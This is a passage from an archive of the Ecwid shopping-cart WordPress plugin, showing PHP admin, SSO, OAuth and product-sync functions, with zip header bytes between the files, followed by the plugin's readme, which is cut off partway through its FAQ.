'ecwid_connected_via_legacy_page_time', time() ); } } function ecwid_common_admin_scripts() { wp_enqueue_script('ecwid-admin-js', ECWID_PLUGIN_URL . 'js/admin.js', array(), get_option('ecwid_plugin_version')); wp_enqueue_script('ecwid-modernizr-js', ECWID_PLUGIN_URL . 'js/modernizr.js', array(), get_option('ecwid_plugin_version')); wp_localize_script('ecwid-admin-js', 'ecwid_params', array( 'dashboard' => __('Dashboard', 'ecwid-shopping-cart'), 'dashboard_url' => Ecwid_Admin::get_relative_dashboard_url(), 'products' => __('Products', 'ecwid-shopping-cart'), 'products_url' => Ecwid_Admin::get_relative_dashboard_url() . '-admin-products', 'orders' => __('Orders', 'ecwid-shopping-cart'), 'orders_url' => Ecwid_Admin::get_relative_dashboard_url() . '-admin-orders', 'reset_cats_cache' => __('Refresh categories list', 'ecwid-shopping-cart'), 'cache_updated' => __('Done', 'ecwid-shopping-cart'), 'reset_cache_message' => __('The store top-level categories are automatically added to this drop-down menu', 'ecwid-shopping-cart'), 'store_shortcodes' => Ecwid_Shortcode_Base::get_store_shortcode_names(), 'store_shortcode' => Ecwid_Shortcode_Base::get_current_store_shortcode_name(), 'product_shortcode' => Ecwid_Shortcode_Product::get_shortcode_name(), 'legacy_appearance' => ecwid_is_legacy_appearance_used() )); } function ecwid_is_legacy_appearance_used() { $api = new Ecwid_Api_V3(); return Ecwid_Api_V3::is_available() && !ecwid_is_demo_store() && !$api->is_store_feature_enabled( Ecwid_Api_V3::FEATURE_NEW_PRODUCT_LIST ); } function ecwid_get_register_link() { $link = Ecwid_Config::get_registration_url(); if ( empty( $link ) ) { $link = 'https://' . Ecwid_Config::get_cpanel_domain(); } if ( strpos($link, '?') ) { $link .= '&'; } else { $link .= '?'; } $link .= 'partner=' . Ecwid_Config::get_channel_id() . '%s#register'; $current_user = wp_get_current_user(); $user_data = ''; if ($current_user->ID && function_exists('get_user_meta')) { $meta = get_user_meta($current_user->ID); $data = array( 'name' => get_user_meta($current_user->ID, 'first_name', true) . ' ' . get_user_meta($current_user->ID, 'last_name', true), 'nickname' => $current_user->display_name, 'email' => $current_user->user_email ); foreach ($data as $key => $value) { if (trim($value) == '') { unset($data[$key]); } } $user_data = '&' . build_query($data); } $link = sprintf($link, $user_data); return $link; } function ecwid_is_demo_store( $store_id = null ) { if ( is_null( $store_id ) ) { $store_id = get_ecwid_store_id(); } $config_id = Ecwid_Config::get_demo_store_id(); if ( $config_id == $store_id ) return $config_id; return in_array( $store_id, ecwid_get_demo_stores() ); } function ecwid_get_demo_store_id() { $config_id = Ecwid_Config::get_demo_store_id(); if ( $config_id ) return $config_id; $demo_stores = ecwid_get_demo_stores(); $locale = get_locale(); if ( strpos( $locale, 'ru' ) === 0 ) { return $demo_stores['locale_ru']; } else { return $demo_stores['locale_other']; } } function ecwid_get_demo_stores() { return $demo_stores = array( 'legacy' => 1003, 'locale_ru' => 13437191, 'locale_other' => 13433173 ); } function ecwid_create_store() { $api = new Ecwid_Api_V3(); $result = $api->create_store(); if ( is_array( $result ) && $result['response']['code'] == 200 ) { $data = json_decode( $result['body'] ); ecwid_update_store_id($data->id); $api->save_token( $data->token ); update_option( 'ecwid_oauth_scope', 'read_profile ' . Ecwid_OAuth::SCOPE_READ_CATALOG . ' allow_sso create_customers public_storefront' ); header( 'HTTP/1.1 200 OK' ); } else { header( 'HTTP/1.1 ' . $result['response']['code'] . ' ' . $result['response']['message'] ); } } add_action('admin_post_ecwid-do-sso', 'ecwid_do_sso_redirect'); function ecwid_do_sso_redirect() { if ( !current_user_can('manage_options') ) { die(); } $url = ecwid_get_admin_sso_url( time() ); wp_redirect( $url ); } function ecwid_get_admin_sso_url( $time, $page = '' ) { $oauth = new Ecwid_Oauth(); if ( !Ecwid_Api_V3::get_token() ) { return false; } $lang = ecwid_get_current_user_locale(); return sprintf( 'https://' . Ecwid_Config::get_api_domain() . '/api/v3/%s/sso?token=%s×tamp=%s&signature=%s&place=%s&lang=%s', get_ecwid_store_id(), Ecwid_Api_V3::get_token(), $time, hash( 'sha256', get_ecwid_store_id() . Ecwid_Api_V3::get_token() . $time . Ecwid_Config::get_oauth_appsecret() ), urlencode( $page ), substr( $lang, 0, 2 ) ); } function ecwid_get_iframe_src($time, $page) { $url = ecwid_get_admin_sso_url($time, $page); if ($url) { $url .= '&inline&min-height=700'; if ( Ecwid_Admin::are_auto_menus_enabled() ) { $url .= '&hide_vertical_navigation_menu=true'; } return $url; } else { return false; } } function ecwid_admin_do_page( $page ) { if (isset($_GET['show_timeout']) && $_GET['show_timeout'] == '1') { require_once ECWID_PLUGIN_DIR . 'templates/admin-timeout.php'; die(); } if (Ecwid_Api_V3::get_token() == false) { require_once ECWID_PLUGIN_DIR . 'templates/reconnect-sso.php'; die(); } global $ecwid_oauth; if (isset($_GET['ec-page']) && $_GET['ec-page']) { $page = $_GET['ec-page']; } if (isset($_GET['ec-store-page']) && $_GET['ec-store-page']) { $page = $_GET['ec-store-page']; } if ( $page == Ecwid_Admin_Main_Page::PAGE_HASH_UPGRADE ) { update_option('ecwid_api_check_time', time() - ECWID_API_AVAILABILITY_CHECK_TIME + 10 * 60); } $time = time() - get_option('ecwid_time_correction', 0); $iframe_src = ecwid_get_iframe_src($time, $page); $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); if (!$request) { echo Ecwid_Message_Manager::show_message('no_oauth'); return; } $result = $request->do_request(); if ( @$result['code'] == 403 && ( strpos($result['data'], 'Token too old') !== false || strpos($result['data'], 'window.top.location = \'https://my.ecwid.com/api/v3/' . get_ecwid_store_id() . '/sso?') !== false ) ) { if (isset($result['headers']['date'])) { $time = strtotime($result['headers']['date']); $iframe_src = ecwid_get_iframe_src($time, $page); $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); if (!$request) { echo Ecwid_Message_Manager::show_message('no_oauth'); return; } $result = $request->do_request(); if ($result['code'] == 200) { update_option('ecwid_time_correction', time() - $time); } } $iframe_src = ecwid_get_iframe_src($time, $page); $request = Ecwid_Http::create_get('embedded_admin_iframe', $iframe_src, array(Ecwid_Http::POLICY_RETURN_VERBOSE)); $result = $request->do_request(); } if (empty($result['code']) && empty($result['data']) ) { require_once ECWID_PLUGIN_DIR . 'templates/admin-timeout.php'; } else if ($result['code'] != 200) { if (ecwid_test_oauth(true)) { require_once ECWID_PLUGIN_DIR . 'templates/reconnect-sso.php'; } else { require_once ECWID_PLUGIN_DIR . 'templates/dashboard.php'; } } else { $show_reconnect = true; require_once ECWID_PLUGIN_DIR . 'templates/ecwid-admin.php'; } } function ecwid_admin_products_do_page() { Ecwid_Admin_Main_Page::do_integrated_admin_page( Ecwid_Admin_Main_Page::PAGE_HASH_PRODUCTS ); } function ecwid_admin_orders_do_page() { Ecwid_Admin_Main_Page::do_integrated_admin_page( Ecwid_Admin_Main_Page::PAGE_HASH_ORDERS ); } function ecwid_admin_mobile_do_page() { Ecwid_Admin_Main_Page::do_integrated_admin_page( Ecwid_Admin_Main_Page::PAGE_HASH_MOBILE ); } function ecwid_help_do_page() { $help = new Ecwid_Help_Page(); $faqs = $help->get_faqs(); wp_enqueue_style('ecwid-help', ECWID_PLUGIN_URL . 'css/help.css',array(), get_option('ecwid_plugin_version')); $col_size = 6; require_once ECWID_PLUGIN_DIR . 'templates/help.php'; } function ecwid_process_oauth_params() { if (strtoupper($_SERVER['REQUEST_METHOD']) != 'GET' || !isset($_GET['page'])) { return false; } $is_dashboard = $_GET['page'] == Ecwid_Admin::ADMIN_SLUG; if (!$is_dashboard) { return false; } global $ecwid_oauth; $is_connect = ecwid_is_demo_store() && !isset($_GET['connection_error']); $is_reconnect = isset($_GET['reconnect']) && !isset($_GET['connection_error']); if ($is_connect) { $ecwid_oauth->update_state( array( 'mode' => 'connect' ) ); } if ($is_reconnect && !isset($_GET['api_v3_sso'])) { $ecwid_oauth->update_state( array( 'mode' => 'reconnect', // explicitly set to empty array if not available to reset current state 'scope' => isset($_GET['scope']) ? $_GET['scope'] : array(), // explicitly set to empty string if not available to reset current state 'return_url' => isset($_GET['return-url']) ? $_GET['return-url'] : '', 'reason' => isset($_GET['reason']) ? $_GET['reason'] : '' )); if ( @$_GET['do_reconnect'] ) { wp_redirect( $ecwid_oauth->get_auth_dialog_url() ); } } return true; } function ecwid_admin_post_connect() { if (!current_user_can('manage_options')) { return; } if (isset($_GET['force_store_id'])) { update_option('ecwid_store_id', $_GET['force_store_id']); update_option('ecwid_is_api_enabled', 'off'); update_option('ecwid_api_check_time', 0); update_option('ecwid_last_oauth_fail_time', 1); wp_redirect( Ecwid_Admin::get_dashboard_url() ); exit; } global $ecwid_oauth; if (ecwid_test_oauth(true)) { if (@isset($_GET['api_v3_sso'])) { $ecwid_oauth->update_state(array('mode' => 'reconnect', 'return_url' => Ecwid_Admin::get_dashboard_url() . '-advanced' )); wp_redirect($ecwid_oauth->get_sso_reconnect_dialog_url()); } else { wp_redirect( $ecwid_oauth->get_auth_dialog_url() ); } } else if (!isset($_GET['reconnect'])) { wp_redirect(Ecwid_Admin::get_dashboard_url() . '&oauth=no'); } else { wp_redirect(Ecwid_Admin::get_dashboard_url() . '&reconnect&connection_error'); } exit; } function ecwid_test_oauth($force = false) { global $ecwid_oauth; $last_fail = get_option('ecwid_last_oauth_fail_time'); if ( ($last_fail > 0 && $last_fail + 60*60*24 < time()) || $force) { $result = $ecwid_oauth->test_post(); if ($result) { update_option('ecwid_last_oauth_fail_time', $last_fail = 0); } else { update_option('ecwid_last_oauth_fail_time', $last_fail = time()); } } return $last_fail == 0; } function ecwid_get_categories_for_selector() { $cached = EcwidPlatform::get_from_categories_cache( 'ecwid_categories_for_selector' ); if ( $cached ) { return $cached; } $api = new Ecwid_Api_V3(); $categories = $api->get_categories( array( 'hidden_categories' => true ) ); $all_categories = array(); if ( !$categories || @$categories->count == 0 ) { return array(); } foreach ( $categories->items as $category ) { $all_categories[$category->id] = $category; } if ( $categories->total > $categories->count ) { $offset = 100; $page = 0; while ( $categories->count + $offset * $page < $categories->total ) { $page++; $categories = $api->get_categories( array( 'offset' => $offset * $page, 'hidden_categories' => true ) ); foreach ( $categories->items as $category ) { $all_categories[$category->id] = $category; } } } $parents = array(); $result = array(); foreach ( $all_categories as $category ) { $result[$category->id] = $category; if ( !isset($category->parentId) ) { $result[$category->id]->path = $category->name; } else { $current_parent_id = $category->parentId; $path = $category->name; while ( $current_parent_id != 0 ) { $parent = $all_categories[$current_parent_id]; $path = $parent->name . ' > ' . $path; $current_parent_id = isset( $parent->parentId ) ? $parent->parentId : 0; } $result[$category->id]->path = $path; } } if (!function_exists('_ecwid_compare_categories')) { function _ecwid_compare_categories($cat1, $cat2) { return strcasecmp( $cat1->path, $cat2->path ); } } usort( $result, '_ecwid_compare_categories' ); EcwidPlatform::store_in_categories_cache( 'ecwid_categories_for_selector', $result ); return $result; } function ecwid_advanced_settings_do_page() { $is_sso_enabled = ecwid_is_sso_enabled(); global $ecwid_oauth; $has_create_customers_scope = $ecwid_oauth->has_scope('create_customers'); $key = get_option('ecwid_sso_secret_key'); $is_sso_checkbox_disabled = !$is_sso_enabled && !$has_create_customers_scope && empty($key); if (!ecwid_is_paid_account()) { $is_sso_checkbox_disabled = true; } $reconnect_link = get_reconnect_link(); require_once ECWID_PLUGIN_DIR . 'templates/advanced-settings.php'; } function get_reconnect_link() { return admin_url('admin-post.php?action=ec_connect&reconnect&api_v3_sso'); } function ecwid_debug_do_page() { if ( array_key_exists( 'reset_cache', $_GET ) ) { ecwid_invalidate_cache(true ); } $api_v3_profile_results = wp_remote_get( 'https://app.ecwid.com/api/v3/' . get_ecwid_store_id() . '/profile?token=' . Ecwid_Api_V3::get_token() ); global $ecwid_oauth; require_once ECWID_PLUGIN_DIR . 'templates/cache_log.php'; require_once ECWID_PLUGIN_DIR . 'templates/debug.php'; } function ecwid_get_debug_file() { if (!current_user_can('manage_options')) { return; } header('Content-Disposition: attachment;filename=ecwid-plugin-log.html'); ecwid_debug_do_page(); wp_die(); } function get_ecwid_store_id() { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-config.php'; $config_value = Ecwid_Config::get_store_id(); if ($config_value) return $config_value; $store_id = get_option('ecwid_store_id'); if (empty($store_id)) { $store_id = ecwid_get_demo_store_id(); } return $store_id; } function ecwid_sync_products() { set_time_limit(3600); if (!defined('DOING_AJAX')) { echo '<html><body>Lets begin<br />'; flush(); } $p = new Ecwid_Products(); $p->sync(); if (defined('DOING_AJAX') && DOING_AJAX) { echo 'OK'; wp_die(); } else { wp_redirect(Ecwid_Admin::get_dashboard_url() . '-advanced'); } } function ecwid_sync_progress_callback($status) { if (!@$status['event']) { $status['event'] = 'progress'; } echo 'event: ' . $status['event'] . "\n"; echo 'data: ' . json_encode($status) . "\n\n"; flush(); } add_action('admin_post_ecwid_sync_sse', 'ecwid_sync_products_sse'); function ecwid_sync_products_sse() { set_time_limit(0); header("Content-Type: text/event-stream\n\n"); Ecwid_Products::enable(); $p = new Ecwid_Products(); $p->set_sync_progress_callback('ecwid_sync_progress_callback'); $p->sync(); ecwid_sync_progress_callback( array( 'event' => 'completed', 'last_update' => ecwid_format_date( $p->get_last_sync_time() ) ) ); } function ecwid_format_date( $unixtime ) { return date_i18n( get_option('date_format') . ' ' . get_option('time_format'), $unixtime + get_option( 'gmt_offset' ) * 60 * 60 ); } function ecwid_slow_sync_progress($status) { global $ecwid_sync_status; if (!Ecwid_Products::is_enabled()) { Ecwid_Products::enable(); } if (!isset($ecwid_sync_status)) { $ecwid_sync_status = array( 'limit' => -1, 'offset' => -1, 'total' => -1, 'count' => -1, 'updated' => 0, 'deleted_disabled' => 0, 'created' => 0, 'deleted' => 0, 'skipped_deleted' => 0 ); } if ($status['event'] == 'fetching_products' || $status['event'] == 'fetching_deleted_product_ids') { $ecwid_sync_status['offset'] = $status['offset']; $ecwid_sync_status['limit'] = $status['limit']; } else if ($status['event'] == 'found_updated' || $status['event'] == 'found_deleted') { $ecwid_sync_status['total'] = $status['total']; $ecwid_sync_status['count'] = $status['count']; } else if ($status['event'] == 'created_product') { $ecwid_sync_status['created']++; } else if ($status['event'] == 'updated_product') { $ecwid_sync_status['updated']++; } else if ($status['event'] == 'deleted_disabled_product') { $ecwid_sync_status['deleted_disabled']++; } else if ($status['event'] == 'deleted_product') { $ecwid_sync_status['deleted'] ++; } else if ($status['event'] == 'skipped_deleted') { $ecwid_sync_status['skipped_deleted']++; } } add_action('admin_post_ecwid_sync_reset', 'ecwid_sync_reset'); function ecwid_sync_reset() { EcwidPlatform::set(Ecwid_Products_Sync_Status::OPTION_UPDATE_TIME, 0); EcwidPlatform::set(Ecwid_Products_Sync_Status::OPTION_LAST_PRODUCT_UPDATE_TIME, 0); EcwidPlatform::set(Ecwid_Products_Sync_Status::OPTION_LAST_PRODUCT_DELETE_TIME, 0); wp_redirect( Ecwid_Admin::get_dashboard_url() . '-advanced' ); } add_action('admin_post_ecwid_sync_no_sse', 'ecwid_sync_products_no_sse'); function ecwid_sync_products_no_sse() { $p = new Ecwid_Products(); $p->set_sync_progress_callback('ecwid_slow_sync_progress'); $over = $p->sync(array( 'mode' => $_GET['mode'] == 'deleted' ? 'deleted' : 'updated', 'offset' => intval($_GET['offset']), 'one_at_a_time' => true, 'from' => $_GET['time'] )); global $ecwid_sync_status; if (!$over) { echo json_encode($ecwid_sync_status); } else { echo json_encode(array_merge($ecwid_sync_status, array('status' => 'complete', 'last_update' => ecwid_format_date( $p->get_last_sync_time() )))); } } add_action('admin_post_ecwid_tick', 'ecwid_tick'); function ecwid_tick() { var_dump(ini_get('max_execution_time')); set_time_limit(12345); var_dump(ini_get('max_execution_time')); error_log('tick'); header("Content-Type: text/event-stream\n\n"); for ($i = 0; $i < 30; $i++) { echo "data: $i \n\n"; flush(); sleep(2); //usleep(2000); } die(); } function ecwid_dashboard_widget_function() { if (!is_ssl()) { require_once ECWID_PLUGIN_DIR . 'templates/wp-dashboard-widget.php'; } } function ecwid_add_dashboard_widgets() { if (current_user_can('manage_options')) { wp_add_dashboard_widget('ecwid_dashboard_widget', __('Recommendations for Your Online Store', 'ecwid-shopping-cart'), 'ecwid_dashboard_widget_function'); } } function ecwid_get_store_page_url() { static $link = null; if (is_null($link)) { $link = get_permalink( Ecwid_Store_Page::get_current_store_page_id() ); } return $link; } function ecwid_is_store_page_available() { return Ecwid_Store_Page::get_current_store_page_id() != false; } function ecwid_get_product_url($product) { return ecwid_get_entity_url($product, 'p'); } function ecwid_get_category_url($category) { return ecwid_get_entity_url($category, 'c'); } function ecwid_get_entity_url($entity, $type) { if ( Ecwid_Store_page::is_store_page() ) { $link = get_permalink(); } else { $link = Ecwid_Store_Page::get_store_url(); } if ( is_object( $entity ) ) { // If a newer object is passed, fall back to default hash url $entity = $entity->id; } if (is_numeric($entity)) { return $link . '#!/' . $type . '/' . $entity; } elseif (is_array($entity) && isset($entity['url'])) { $link .= substr($entity['url'], strpos($entity['url'], '#')); } return $link; } function ecwid_get_product_browser_url_script() { if ( get_option('ecwid_disable_pb_url' ) ) { return; } $str = ''; if (ecwid_is_store_page_available() && !Ecwid_Store_Page::is_store_page()) { $url = esc_js( Ecwid_Store_Page::get_store_url() ); $str = <<<HTML <script data-cfasync="false" type="text/javascript"> window.ec = window.ec || Object(); window.ec.config = window.ec.config || Object(); window.ec.config.store_main_page_url = '$url'; </script> HTML; } return $str; } function ecwid_get_wp_install_date( ) { global $wpdb; $wp_date = get_option( 'ecwid_wp_install_date' ); if ( ! $wp_date ) { global $wpdb; $oldest_user = strtotime( $wpdb->get_var( "SELECT min(`user_registered`) FROM {$wpdb->users}" ) ); $oldest_post = strtotime( $wpdb->get_var( "SELECT min(`post_date`) FROM {$wpdb->posts}" ) ); $wpconfig_create = @filectime( ABSPATH . '/wp-config.php' ); $wp_date = min( $oldest_user, $oldest_post, $wpconfig_create ); update_option( 'ecwid_wp_install_date', $wp_date ); } return $wp_date; } function ecwid_check_for_remote_connection_errors() { global $ecwid_oauth; $results = array(); $results['https_post_error'] = wp_remote_post($ecwid_oauth->get_test_post_url()); foreach ($results as $type => $value) { if (is_wp_error($value)) { $results[$type] = $value->get_error_message(); } else { unset($results[$type]); } } return $results; } function ecwid_is_sso_enabled() { global $ecwid_oauth; $is_sso_enabled = false; $is_apiv3_sso = ecwid_is_paid_account() && get_option('ecwid_is_sso_enabled') && $ecwid_oauth && $ecwid_oauth->has_scope('create_customers'); $is_apiv1_sso = ecwid_is_paid_account() && get_option('ecwid_sso_secret_key'); $is_sso_enabled = $is_apiv3_sso || $is_apiv1_sso; return $is_sso_enabled; } add_action( 'send_headers', 'ecwid_add_headers' ); function ecwid_add_headers() { if ( wp_get_current_user()->ID && ecwid_is_sso_enabled() ) { header("Cache-Control: private, must-revalidate, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); } } function ecwid_sso() { global $ecwid_sso_script; if ( !ecwid_is_sso_enabled() ) return; if ( !empty($ecwid_sso_script) ) return; $current_user = wp_get_current_user(); $signin_url = wp_login_url(Ecwid_Store_Page::get_store_url()); $signout_url = wp_logout_url(Ecwid_Store_Page::get_store_url()); $sign_in_out_urls = <<<JS window.EcwidSignInUrl = '$signin_url'; window.EcwidSignOutUrl = '$signout_url'; window.Ecwid.OnAPILoaded.add(function() { window.Ecwid.setSignInUrls({ signInUrl: '$signin_url', signOutUrl: '$signout_url' }); }); JS; $ecwid_sso_profile = ''; if ($current_user->ID) { $meta = get_user_meta($current_user->ID); $name = $meta['first_name'][0] . ' ' . $meta['last_name'][0]; if ($name == ' ') { $name = $meta['nickname'][0]; } $user_data = array( 'userId' => "{$current_user->ID}", 'profile' => array( 'email' => $current_user->user_email, 'billingPerson' => array( 'name' => $name ) ) ); global $ecwid_oauth; if ($ecwid_oauth->has_scope('create_customers')) { $key = Ecwid_Config::get_oauth_appsecret(); $user_data['appClientId'] = Ecwid_Config::get_oauth_appid(); } else { $key = get_option('ecwid_sso_secret_key'); $user_data['appId'] = "wp_" . get_ecwid_store_id(); } $user_data_encoded = base64_encode(json_encode($user_data)); $time = time(); $hmac = ecwid_hmacsha1("$user_data_encoded $time", $key); $ecwid_sso_profile = "$user_data_encoded $hmac $time"; } $ecwid_sso_script = <<<HTML <script data-cfasync="false" type="text/javascript"> var ecwid_sso_profile='$ecwid_sso_profile'; $sign_in_out_urls jQuery(document).ready(function() { if (typeof Ecwid == 'undefined') return; Ecwid.OnPageLoad.add(function(page) { if (page.type == 'SIGN_IN' && ecwid_sso_profile == '') { location.href = '$signin_url'; } }) } ); </script> HTML; return $ecwid_sso_script; } // from: http://www.php.net/manual/en/function.sha1.php#39492 function ecwid_hmacsha1($data, $key) { if (function_exists("hash_hmac")) { return hash_hmac('sha1', $data, $key); } else { $blocksize=64; $hashfunc='sha1'; if (strlen($key)>$blocksize) $key=pack('H*', $hashfunc($key)); $key=str_pad($key,$blocksize,chr(0x00)); $ipad=str_repeat(chr(0x36),$blocksize); $opad=str_repeat(chr(0x5c),$blocksize); $hmac = pack( 'H*',$hashfunc( ($key^$opad).pack( 'H*',$hashfunc( ($key^$ipad).$data ) ) ) ); return bin2hex($hmac); } } function ecwid_should_display_escaped_fragment_catalog() { if (!isset($_GET['_escaped_fragment_'])) return; if ( Ecwid_Api_V3::is_available()) { return !ecwid_is_store_closed(); } return false; } function ecwid_get_default_pb_size() { return array( 'grid_rows' => 20, 'grid_columns' => 3, 'list_rows' => 60, 'table_rows' => 60 ); } function ecwid_update_store_id( $new_store_id ) { EcwidPlatform::cache_reset( 'nav_categories_posts' ); update_option( 'ecwid_store_id', $new_store_id ); update_option( 'ecwid_is_api_enabled', 'off' ); update_option( 'ecwid_api_check_time', 0 ); ecwid_invalidate_cache( true ); EcwidPlatform::cache_reset('all_categories'); do_action('ecwid_update_store_id', $new_store_id); } function ecwid_is_paid_account() { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); return $profile && property_exists( $profile, 'account') && property_exists( $profile->account, 'availableFeatures' ) && is_array( $profile->account->availableFeatures ) && in_array( 'PREMIUM', $profile->account->availableFeatures ); } return false; } function ecwid_embed_svg($name) { $path = ECWID_PLUGIN_DIR . 'images/' . $name . '.svg'; if( file_exists( $path ) ) { $code = file_get_contents( $path ); echo $code; } } /* * Basically a copy of has_shortcode that returns the matched shortcode */ function ecwid_find_shortcodes( $content, $tag ) { if ( false === strpos( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . ecwid_get_shortcode_regex() . '/s', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) return false; $result = array(); foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { $result[] = $shortcode; } elseif ( !empty($shortcode[5]) && $found = ecwid_find_shortcodes( $shortcode[5], $tag ) ) { $result = array_merge($result, $found); } } if (empty($result)) { $result = false; } return $result; } return false; } // Since we use shortcode regex in our own functions, we need it to be persistent function ecwid_get_shortcode_regex() { global $shortcode_tags; $tagnames = array_keys($shortcode_tags); $tagregexp = join( '|', array_map('preg_quote', $tagnames) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } ?> PK������Ê—[«‡×¢&���&�����ecwid-shopping-cart/index.phpnu�„[µü¤��������<?php /** * Nothing to see here. */ PK������Ê—[ݶKd~â�~â���ecwid-shopping-cart/readme.txtnu�„[µü¤��������=== Ecwid Ecommerce Shopping Cart === Contributors: Ecwid Tags: ecommerce, e-commerce, storefront, online store, sell Requires at least: 3.7 Tested up to: 5.2 Stable tag: 6.8.7 Powerful, easy to use ecommerce shopping cart. Sell on Facebook and Instagram. iPhone & Android apps. Superb support. Free plan available. == Description == Ecwid Ecommerce Shopping Cart is everything you need to add an online store to your WordPress site. Powerful, easy-to-use and Gutenberg-friendly. Over 1 million sellers in 175 countries, 45 languages supported. PayPal, Stripe and 40 more payment options. Real-time shipping integrations. Selling on Instagram and Facebook. = Automatic Shipping and Taxes = The Ecwid ecommerce plugin integrates with major carriers including USPS, UPS, FedEx, Canada Post, Australia Post, and others to automatically calculate shipping rates. Taxes are also automated and can be set-up in a few clicks. Automated tax rate calculations are available for the U.S., Canada, and EU VAT. Additionally, integration with TaxJar provides automatic sales tax reporting and filing in the U.S. = Sell on Facebook and Instagram = Add your online store to Facebook and sell to millions of Facebook and Instagram users. No addons needed. Ecwid will automatically synchronize your products, customers, orders and inventory between your WordPress and Facebook storefronts. Ecwid is the **#1 e-commerce app on Facebook**. Join! = eCommerce Mobile Apps = Ecwid Shopping Cart provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. Your ecommerce data is automatically synchronized with your Wordpress shopping cart, Facebook store and other online storefronts. = Unlimited Storage, Automatic Backups and Seamless Upgrades = With the Ecwid Shopping Cart, your online store data is fully hosted on our secure servers. Regardless of the WordPress hosting service you use, your Ecwid online store includes: * unlimited storage * regular backups * seamless upgrades and security updates So you don't need to worry about software updates, security patches and server maintenance – we do that for you. Your online store gets all the new ecommerce features and bug fixes automatically. = PCI DSS validated Level 1 Service Provider = Ecwid Shopping Cart is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means that Ecwid helps your online store meet the security requirements of the bank you do business with. = Superb Support = Friendly and knowledgeable support experts available 24/5 so you can get immediate help when you need it. Support options include email, e-commerce community forums, chat and phone support. = Sell Everywhere = With Ecwid, you can include your ecommerce shop on multiple websites, blogs, social sites and ecommerce marketplaces like *Amazon*, *eBay* and *Google Shopping* and sell simultaneously everywhere. Add your online store to as many sites as you want, manage it from one place. = Mobile Responsive Design = Ecwid works great on any Wordpress site, especially those running on mobile-optimized themes. Your online store looks perfect on smartphones and automatically adapts to your customer’s screen size: laptops, tablets, smart TVs or smart watches. Check out this [demo](https://ecwid.to/ecwid-demo-store) = Hundreds of extensions and powerful API = There is a lot of in-house and third party extensions built on the Ecwid Ecommerce APIs. You can find a ready made plugin extending features of your online storefront the way you want or build a custom addon yourself. The existing family of third party plugins include tax automation apps like TaxJar, fulfilment services like ShipStation, customer support tools like LiveChat and many others. = Your Favorite Free Plugin = Ecwid offers a free plan that’s always available with no hidden setup charges or transaction fees. Get your online store up and running at zero cost. As your online shop grows, Ecwid grows with you. When the time is right, consider upgrading to one of our premium plans to get more robust features and preferred support. See also: [Ecwid plan and pricing](https://ecwid.to/ecwid-pricing) = See Ecwid In Action = * [Demo Store](https://ecwid.to/ecwid-demo-store "Ecwid demo") * [Ecwid Ecommerce Control panel](https://ecwid.to/ecwid-store-control-panel "Ecwid Control Panel") (you will be able to create a free Ecwid account) * [Showcase](https://ecwid.to/ecwid-wp-site) = Ecwid Site = * [www.ecwid.com](https://ecwid.to/ecwid-wp-site "Ecwid site") == Installation == = Automatic installation (the easiest way) = 1. In your Wordpress admin backend, navigate to *Plugins → Add New* 1. Under Search, type in `Ecwid` and click *Search* 1. In the search results find the *Ecwid Ecommerce Shopping Cart* plugin and click *Install now* to install it 1. When plugin is installed click *Activate Plugin* link 1. Navigate to *Ecwid Store → General* page in your Wordpress admin backend and follow the instruction provided there = Alternative ways = **Uploading the plugin zip archive in Wordpress admin backend** 1. Download Ecwid plugin from this page (click *Download* button) 1. In your Wordpress admin backend, navigate to *Plugins → Add new* 1. Click *Upload* link and choose the saved zip file in the appeared dialog window. 1. Click *Install* **Uploading plugin folder to Wordpress directory on your server** 1. Download Ecwid plugin from this page (click *Download* button) 1. Unpack the downloaded zip archive 1. Upload ecwid-shopping-cart directory from the archive to the `/wp-content/plugins/` directory on your server Please refer to this article for the details and troubleshooting on plugin installation in Wordpress: http://codex.wordpress.org/Managing_Plugins#Installing_Plugins == Screenshots == 1. Storefront 2. 3. 4. 5. 6. 7. == Frequently Asked Questions == = How secure is this plugin? Is my store PCI DSS compliant? = Ecwid is PCI DSS Level 1 certified shopping cart plugin – the gold standard for e-commerce solutions worldwide. This helps your online store meet the security requirements of the bank you do business with. [More details](https://help.ecwid.com/customer/portal/articles/1085017-wordpress-downloadable#secureplugin) = How much does Ecwid cost? = Ecwid shopping cart plans vary by number of products, types of ecommerce functionality, and level of support. * Free - Up to 10 products * Venture - $15/month * Business - $35/month * Unlimited - $99/month Pro Tip: you can save money by enrolling in our annual plans. For more information, check out our [pricing page](https://ecwid.to/ecwid-pricing). = How can I manage my online shop from a mobile device? = Ecwid shopping cart provides mobile applications for iOS and Android to manage your online store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. [More details on Ecwid mobile apps](https://www.ecwid.com/ecwid-mobile). = How do I set up a storefront on Facebook with Ecwid shopping cart? = 